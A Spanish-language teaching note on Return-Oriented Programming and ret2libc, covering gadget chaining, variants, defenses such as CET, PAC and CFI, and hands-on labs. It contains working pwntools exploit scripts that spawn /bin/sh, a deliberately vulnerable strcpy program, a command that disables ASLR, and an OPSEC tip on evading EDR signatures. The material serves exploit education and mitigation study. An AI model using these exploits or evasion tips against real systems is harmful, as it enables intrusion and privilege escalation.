ROP and ret2libc
Definición
Return-Oriented Programming (ROP) es la técnica de explotación de encadenar pequeñas secuencias de código executable existente — "gadgets" que terminan en una instrucción ret — para realizar computación arbitraria sin inyectar código nuevo en el proceso target. El atacante controla el contenido del stack (típicamente vía stack buffer overflow o una control-flow primitive equivalente), arma una secuencia de gadget addresses seguida por datos, y la CPU ejecuta cada gadget en orden: cada ret popea la dirección del siguiente gadget desde el stack. ret2libc es la variante ROP más simple: en vez de micro-op gadgets, el atacante "retorna hacia" funciones libc completas como system("/bin/sh") para lograr el objetivo con una sola primitive de existing-code. ROP existe porque DEP/NX volvió inviable el shellcode inyectado: ROP y sus siblings son la base moderna de binary exploitation en el mundo post-DEP.
Por qué importa
Antes de 2003, binary exploitation contra un stack overflow era: escribir shellcode en el buffer, sobrescribir saved return address para apuntar al buffer, correr. Todo sistema operativo moderno deshabilita esto durante el primer año de instalación. ROP es lo que lo reemplazó. Cada engagement de binary-exploitation contra un target moderno — Windows, macOS, Linux, iOS, Android, firmware de consola — usa ROP o uno de sus sucesores. Leer exploit write-ups, CTF challenges o PoCs de CVE sin un modelo funcional de ROP es leerlos con secciones críticas grisadas.
La técnica importa como nota de enseñanza por tres razones senior transferibles:
- ROP volvió rutinario lo imposible. El paper ROP de 2007 (Shacham, "The Geometry of Innocent Flesh on the Bone") mostró que cualquier executable suficientemente grande, incluso unos cientos de KB de libc estándar, contiene un set Turing-complete de gadgets. La mitigación (DEP) no fue bypass-eada encontrando un agujero; fue bypass-eada reutilizando código legítimo que ya era executable. Este es el ejemplo canónico de una mitigación que derrotó lo equivocado.
- El costo de code execution ahora es "encontrar un info leak + encadenar gadgets", no "escribir shellcode". La exploit research moderna trata en gran parte de producir las primitives correctas para habilitar ROP: info leaks que derroten ASLR, stack pivots, gadgets útiles, chains sigreturn-oriented. La línea de shellcode del exploit de 1996 se volvió una construcción ROP-chain de 50 líneas en el exploit de 2026.
- Cada mitigación desde ROP existe por ROP. Intel CET shadow stacks, ARM BTI, Clang CFI, Microsoft CFG y la explosión de variantes CFI son respuestas a ROP y sus descendientes. Entender ROP es entender por qué el stack moderno de mitigaciones se ve como se ve.
Esta nota asume que leíste memory-corruption, stack-buffer-overflow y exploit-mitigations. Es el deep-dive de técnica que vuelve concreta la línea "defeat DEP" de esas notas.
Cómo funciona
ROP se reduce a 5 pasos:
- Obtener una control-flow primitive. Lo más común es un stack-overwrite de saved return address desde un stack buffer overflow. Otras primitives — heap corruption que sobrescribe un objeto con function pointer, format-string write-to-arbitrary-address, JIT type confusion — llegan al mismo estado: la CPU está por ejecutar un indirect branch (
ret,call rax,jmp [rax]) y el atacante controla el destino. - Ubicar "gadgets" útiles. Un gadget es una secuencia de una a cuatro instrucciones que termina en
ret(o en JOP, enjmp/callhacia un registro). El atacante escanea regiones de código executable del target (típicamente libc, porque es grande y siempre está cargada) buscando secuencias que hagan trabajo útil y terminen en una instrucción de control-flow. Tools (ROPgadget,ropper, claseROP()de pwntools) automatizan esto. - Construir la chain. La chain es una secuencia de gadget addresses intercaladas con datos (valores inmediatos, direcciones para que los gadgets carguen). Cada gadget hace una operación chica (cargar un registro, syscall, push de valor) y hace
ret. Elretpopea la dirección del siguiente gadget desde el stack y salta. El stack mismo es el "programa ROP". - Colocar la chain en memoria. Usualmente escrita directamente sobre el stack por el overflow (la chain empieza en la ubicación de saved-RIP y continúa en memoria stack adyacente). Alternativamente, se escribe al heap y se sigue con un stack-pivot gadget (
xchg rsp, rax; reto equivalente) que cambia el stack pointer hacia la chain ubicada en heap. - Disparar ejecución. Cuando la función vulnerable retorna, el primer
retpopea la dirección del primer gadget y salta. Cadaretposterior avanza la chain. El gadget final suele realizar la acción objetivo:execve("/bin/sh", NULL, NULL)vía syscall,system("/bin/sh")vía libc,mprotect()para marcar una región executable yjmphacia shellcode ahí.
Una ROP chain canónica estilo pwntools que llama system("/bin/sh") (variante ret2libc):
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("./libc.so.6")
# Assume we leaked the libc base via a separate primitive (omitted here).
libc.address = LEAKED_LIBC_BASE
# Build the chain: pop rdi (arg), pointer to "/bin/sh", system().
rop = ROP(libc)
rop.raw(rop.find_gadget(["pop rdi", "ret"])) # gadget 1: set rdi
rop.raw(next(libc.search(b"/bin/sh\0"))) # data: address of "/bin/sh"
rop.raw(libc.symbols["system"]) # gadget 2: call system
# Overwrite saved RIP with the chain.
OFFSET = 72 # from cyclic-find against the binary
payload = b"A" * OFFSET + rop.chain()
# Trigger.
io = process(elf.path)
io.sendline(payload)
io.interactive()
El bug no es "Linux carga libc en el proceso"; es el código legítimo ya presente en el address space es, cuando se encadena vía control-flow corruption, suficiente para computar cualquier cosa, y DEP solo restringió la ubicación del código, no su reutilización.
Técnicas / patrones
- Usá
ROPgadgetoropperpara enumerar gadgets primero.ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | head -50muestra las primitives disponibles. El gadget correcto para el registro correcto puede ser 30 segundos de búsqueda; el gadget equivocado produce un rabbit hole de 4 horas. one_gadgetencuentra atajos en libc.one_gadget libc.so.6busca secuencias single-jump que entregan una shell. Cada "one-gadget" tiene constraints, típicamente requisitos de estado de registros (ej.r12 == NULL), que el atacante debe satisfacer. Cuando los constraints matchean el estado de registros post-overflow, toda la ROP chain colapsa a una dirección.- El patrón ret2csu da gadgets universales en binaries compilados con glibc.
__libc_csu_initen cualquier binary dinámicamente linkeado con glibc contiene un gadget que popearbx, rbp, r12, r13, r14, r15más uncall qword ptr [r12+rbx*8]controlado. Este gadget puede setear estado arbitrario de registros más indirect call: un building block universal. Exploits senior usan ret2csu rutinariamente cuando one_gadget no encaja. - Stack pivots mueven la chain fuera del stack original. Cuando el overflow buffer es demasiado chico para contener una chain completa, escribí un pivot gadget (
xchg rsp, rax,mov rsp, rax,leave; retconrbpcontrolado) que cambie el stack pointer hacia una región controlable (heap, .data, BSS), donde vive el resto de la chain. - ROP chains deben respetar calling conventions. x86-64 System V pasa los primeros seis argumentos en
rdi, rsi, rdx, rcx, r8, r9. La ROP chain correcta setea esos registros antes del call gadget. Windows x64 usarcx, rdx, r8, r9más shadow space: requiere otro set de gadgets. - ASLR debe derrotarse primero. Las direcciones de ROP gadgets deben ser exactas. ASLR randomiza libc base por proceso; sin primitive de libc-leak, la chain no sabe dónde viven sus gadgets. Cadenas senior de explotación siempre incluyen una fase info-leak antes de la fase ROP.
- CET derrota classic ROP. Adaptá o encadená un bypass CET. Sistemas modernos con Intel CET fuerzan que instrucciones
retretornen solo a direcciones en el shadow stack. Pure ROP falla en el primer gadget que no fue llamado legítimamente. Adaptaciones: SROP (sigreturn-oriented programming) cuando el atacante puede falsear un signal frame; COP (call-oriented programming) targeteando indirect-call gadgets permitidos por CET-ENDBR; técnicas CET-bypass específicas del target. - OPSEC: ROP chains dejan patrones detectables. Productos EDR fingerprint-ean secuencias comunes de gadgets, especialmente
pop rdi; retseguido por dirección/bin/shseguido por llamadasystem(). Chains custom y gadgets poco comunes reducen hits de firma pero suben costo de desarrollo.
Variantes y bypasses
Code-reuse exploitation tiene 5 técnicas nombradas, cada una abordando una mitigación o constraint específico.
1. ret2libc (classic)
Retornar directamente hacia una función libc: system(), execve(), mprotect() + jmp a shellcode. El patrón code-reuse más simple. Preda ROP propiamente dicho. Funciona cuando una sola llamada libc logra el objetivo. Derrotado por: ASLR (requiere libc-leak), CET (requiere indirect-call entry point permitido por CET; la mayoría de funciones libc son call targets válidos, así que ret2libc todavía funciona), y hardening moderno de libc (algunas distros remueven el string "/bin/sh").
2. ROP propiamente dicho (gadget chaining)
Muchos gadgets chicos compuestos en una chain. Turing-complete en cualquier región de código suficientemente grande. El default moderno. Derrotado por: CET shadow stack (cada ret chequeado contra la copia shadow), ARM PAC (return addresses firmadas), CFI fuerte (solo landing pads válidos).
3. JOP / COP (jump-oriented / call-oriented programming)
Misma idea que ROP pero los gadgets terminan en jmp <reg> o call <reg> en vez de ret. No toca saved return address; bypass-ea mitigaciones canary y shadow-stack. Requiere un dispatcher gadget que encadene los indirect branches. Más complejo de construir; menos común que ROP pero sucesor natural a medida que CET se deploya.
4. SROP (sigreturn-oriented programming)
El syscall Linux sigreturn restaura todo el estado CPU desde una estructura en el stack. Atacante que puede llamar sigreturn con stack controlado puede setear todos los registros a cualquier valor de una vez. Derrota restricciones de control de registros y funciona sin encontrar gadgets diversos: un syscall; ret más una estructura ucontext_t falseada alcanza.
5. Data-only attacks
No corrompen control flow. En cambio, corrompen datos que el programa lee: flip de un flag is_admin, reemplazo de entry en una function-pointer table que el programa llama legítimamente, modificación de valores de environment variables que un execve posterior lee. Derrota CFI y CET por completo porque no ocurre control flow ilegal. Cada vez más patrón moderno contra targets bien hardened.
Impacto
Ordenado por severidad real típica:
- Arbitrary code execution pese a DEP/NX. El outcome definitorio de ROP. La mitigación que volvió inviable el shellcode se bypass-ea; el costo de explotación sube pero no se vuelve imposible.
- Privilege escalation en binaries setuid/setgid. Sudo / passwd / mount / ping con overflow -> ROP chain ->
setuid(0); execve("/bin/sh"). Root local desde un bug en un binary privilegiado. - RCE dentro de sandbox. Browser/renderer-process RCE vía JIT type confusion -> ROP chain -> code execution en renderer-context. La chain suele continuar con un bug kernel-side para sandbox escape.
- Payloads persistentes basados en ROP. Algunas herramientas operacionales (Cobalt Strike, Meterpreter, frameworks red-team custom) implementan fully ROP-based payload execution: sin shellcode injection, toda la lógica en chained gadgets, para evadir firmas AV/EDR que matchean shellcode patterns.
- Utilidad de defense-research. ROP chains también se usan defensivamente: por investigadores para testear efectividad de mitigaciones, por Google Project Zero para validar que existen exploit primitives, por equipos de hardening para impulsar requisitos de mitigación.
Detección y defensa
Ordenado por efectividad:
1. Intel CET shadow stack. La derrota arquitectónica de classic ROP. Cada ret se chequea contra una copia shadow write-protected del stack de return-addresses. Un ROP gadget que no fue alcanzado vía call legítimo produce mismatch y la CPU trapea. Disponible en Intel Tiger Lake+ y AMD Zen 3+. Linux 6.6+ lo soporta; Windows 11 tiene CET habilitado por default para binaries compatibles.
2. ARM Pointer Authentication (PAC). El equivalente ARM: return addresses se firman con una clave por proceso antes de almacenarse, y se verifican antes de usarse. Un return address corrupto falla verificación; la CPU trapea. Disponible en ARMv8.3+; dispositivos Apple A12+ y Pixel modernos shippean con PAC habilitado.
3. Control Flow Integrity (CFI). Instrucciones indirect-call solo pueden targetear entry points taggeados por CFI. Derrota la mayoría de variantes ROP cuyos gadgets finales son indirect calls. Intel IBT (ENDBR enforcement), Clang CFI, MSVC CFG. CFI sola no derrota pure-ret-based ROP (CET shadow stack hace eso); juntas restringen toda la superficie indirect-control-flow.
4. ASLR — volver impredecibles las gadget addresses. ROP requiere gadget addresses exactas; ASLR las randomiza por proceso. Cada ROP chain en un exploit moderno debe incluir una fase info-leak. ASLR fuerte (alta entropía en libc base, executable base, stack, heap, vDSO) impone costo por exploit chain sobre la info-leak primitive.
5. Anotaciones CFI compile-time y resistencia ROP en link-time. Clang -fsanitize=cfi y flags similares emiten runtime checks sobre indirect-call targets. RAP (Reuse Attack Protector, originalmente grsecurity/PaX) inserta hash checks compile-time. Ambos reducen el set de gadgets disponible.
6. Detección runtime EDR de ROP. Firmas behavioral sobre contenidos de stack que parecen gadget chains (secuencias de direcciones executable sin return addresses entre ellas), llamadas inusuales VirtualProtect / mprotect (indicando un paso "hacer executable la región") y patrones ROP gadget en process memory. Capa encima de mitigaciones estructurales.
Qué no funciona como defensa primaria
- "Deshabilitar libc." No se puede: el programa necesita libc. Binaries stripped/static reducen superficie de gadgets pero no la eliminan (el propio código del programa provee gadgets).
- "Bloquear syscalls específicos." Filtros seccomp reducen impacto post-explotación pero no evitan que la ROP chain corra sus gadgets previos.
- Matching de firmas AV sobre ROP chains. Chains custom y selección metamórfica de gadgets derrotan trivialmente detección por firmas. Las defensas estructurales (CET, PAC, CFI) son la capa durable.
- Confiar en que "nuestro código es demasiado chico para ROP". El paper de Shacham de 2007 probó que cualquier libc estándar suficientemente grande (o dynamic library equivalente) contiene un set Turing-complete de gadgets. Reducir supply de gadgets del atacante es útil, pero no protector.
Labs prácticos
Corré solo contra labs propios. Los labs usan código intencionalmente vulnerable.
# Lab 1 — Find gadgets in libc.
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | head -20
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -10
# Each line is a candidate gadget for ROP construction.
# Lab 2 — Find one-gadget shortcuts.
# Install one_gadget: gem install one_gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Output: addresses + constraints. Each one-gadget gives /bin/sh in one jump
# if the listed register-state constraints are met at the time of jump.
# Lab 3 — Build a ret2libc exploit against a vulnerable lab target.
# Target program (compile with PIE off + libc address known for didactic clarity):
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[64];
if (argc > 1) strcpy(buf, argv[1]);
return 0;
}
EOF
gcc -fno-stack-protector -no-pie -o vuln vuln.c
# Build exploit:
cat > exploit.py <<'EOF'
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
# Without ASLR (for didactic purposes), libc base is fixed:
SYSTEM = libc.symbols["system"]
BINSH = next(libc.search(b"/bin/sh\0"))
POP_RDI = next(elf.search(asm("pop rdi; ret"))) # find a pop rdi gadget
OFFSET = 72 # cyclic-find offset to saved RIP
chain = b"A" * OFFSET
chain += p64(POP_RDI)
chain += p64(BINSH)
chain += p64(SYSTEM)
io = process([elf.path, chain])
io.interactive()
EOF
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' # disable ASLR for lab
python3 exploit.py
# Expected: an interactive /bin/sh shell.
# Lab 4 — Build a ret2csu universal-gadget chain.
# Locate __libc_csu_init in the target binary (pre-glibc-2.34 binaries):
objdump -d ./vuln | grep -A1 "__libc_csu_init" | head -20
# Identify the two ret2csu gadgets:
# gadget 1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# gadget 2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
# Use pwntools' RopGadget to build the chain programmatically; see pwntools docs.
# Lab 5 — Inspect Intel CET behavior with a CET-compiled target.
gcc -fcf-protection=full -O2 -o vuln_cet vuln.c
checksec --file=./vuln_cet | grep -i "cet\|shstk"
# If your CPU + kernel support CET, this binary will have shadow stack enforced.
# Reproduce the ROP exploit from Lab 3 and observe:
# ./vuln_cet "$(python3 exploit.py | head -1)"
# Expected: SIGSEGV with shadow-stack violation in dmesg / journalctl.
# Lab 6 — Defender-side: detect ROP-chain signatures.
# After a ROP exploit fires (in lab), inspect the crash dump:
gdb ./vuln_cet -ex "run < exploit.bin" -ex "bt" -ex quit
# The backtrace shows non-call'd frames — a high-fidelity ROP indicator.
# In an EDR/SIEM pipeline, this corresponds to crash-dump telemetry showing
# a stack that contains executable addresses with no corresponding call frames.
Ejemplos prácticos
- Cadena de explotación CVE-2021-3156 (Sudo Baron Samedit). Off-by-one heap-adjacent estilo stack entrega heap corruption -> arbitrary write primitive -> ROP chain en memoria heap-allocated -> stack pivot ->
setuid(0); execve("/bin/sh"). Pese a stack canary + ASLR + PIE, la chain completa. El exploit moderno de Sudo es multi-stage; el segmento ROP es el movimiento final de code-execution. - Cadena browser Pwn2Own. Type confusion JIT de renderer-process -> arbitrary read/write dentro del renderer -> libc-base leak -> ROP chain en renderer process -> RCE de renderer-process -> escape vía bug Mojo IPC -> kernel UAF -> kernel ROP -> SYSTEM. El "renderer ROP" y "kernel ROP" son dos de las 4-8 primitives distintas en una winning chain típica.
- CTF pwn category — ret2csu bajo hardening modesto. Binary vulnerable tiene stack canary + PIE + DEP. Operador usa un format-string bug para filtrar canary y PIE base, luego ROP vía gadgets
__libc_csu_initpropios del binary (no requiere libc leak: el propio código del binary alcanza). Demuestra que PIE + ASLR se derrotan con cualquier address leak. - Exploit de firmware de game-console (homebrew scene). Firmware viejo de consola shippea sin CET. Una ROP chain en el browser embedded webkit-based entrega userland code execution; ROP kernel-side posterior entrega privilegios kernel; la chain termina con un payload que instala homebrew persistente. La técnica es idéntica al uso red-team; el objetivo es benigno.
- Defensor captura ROP vía CET. Windows 11 productivo con CET habilitado. Atacante entrega un payload de phishing que explota un PDF reader de tercero sin CET-compat. El proceso PDF-reader intenta una ROP chain; el primer
retilegítimo dispara shadow-stack violation; el OS aborta el proceso; Windows Defender captura el crash y muestra alerta de alta confianza "Control Flow Guard violation". El exploit no aterrizó.
Notas relacionadas
- memory-corruption — la bug class que produce la control-flow primitive que ROP necesita.
- stack-buffer-overflow — la fuente canónica de primitive; la mitad "cómo empieza ROP" de la cadena.
- exploit-mitigations — el paisaje de mitigaciones que ROP existe para bypass-ear y que las mitigaciones modernas resistentes a ROP (CET, PAC, CFI) targetean.
- Dualidad atacante-defensor — la dualidad es duramente limpia acá: se deployó DEP, se inventó ROP; se deployó CET, emergieron JOP/COP/SROP. La carrera armamentista es el campo.
- EDR / process correlation — EDR moderno detecta muchos intentos ROP vía patrones de crash y anomalías
VirtualProtect. - Behavioral vs Signature Detection — la detección de ROP-chain es puramente behavioral (anomalía de control-flow), no signature-based; chains custom evaden firmas trivialmente.
- Windows Privilege Escalation — kernel ROP es uno de los caminos listados de kernel-exploit privesc; la técnica atraviesa userspace y kernel.
Futuras notas atómicas sugeridas
- srop-and-sigreturn-oriented-programming — deep dive variante 4.
- jop-cop-and-data-only-attacks — deep dive variantes 3 + 5; las clases modernas de bypass contra CET.
- stack-pivots-and-large-rop-chains — patrón small-buffer / heap-located-chain.
- one-gadget-and-libc-shortcuts — exploit-development práctico del lado libc.
- ropgadget-ropper-pwntools-rop-class — deep dive de tooling.
- cet-and-shadow-stacks-in-depth — la derrota arquitectónica de pure ROP.
- bring-your-own-vulnerable-driver — el equivalente kernel de code-reuse: cargar un driver favorable al atacante para obtener arbitrary kernel R/W.
Referencias
- Fundamental: Hovav Shacham — The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (CCS 2007, the foundational ROP paper) — https://hovav.net/ucsd/dist/geometry.pdf
- Fundamental: Solar Designer — Getting around non-executable stack (Bugtraq, 1997, the original ret2libc disclosure) — https://seclists.org/bugtraq/1997/Aug/63
- Investigación / Deep Dive: Dennis Andriesse — Practical Binary Analysis (No Starch Press, 2018) — chapters on ROP construction and modern exploitation
- Docs oficiales de herramienta: pwntools ROP module — https://docs.pwntools.com/en/stable/rop/rop.html
- Docs oficiales de herramienta: ROPgadget — https://github.com/JonathanSalwan/ROPgadget
- Investigación / Deep Dive: Intel — Control-flow Enforcement Technology (CET) specification — https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf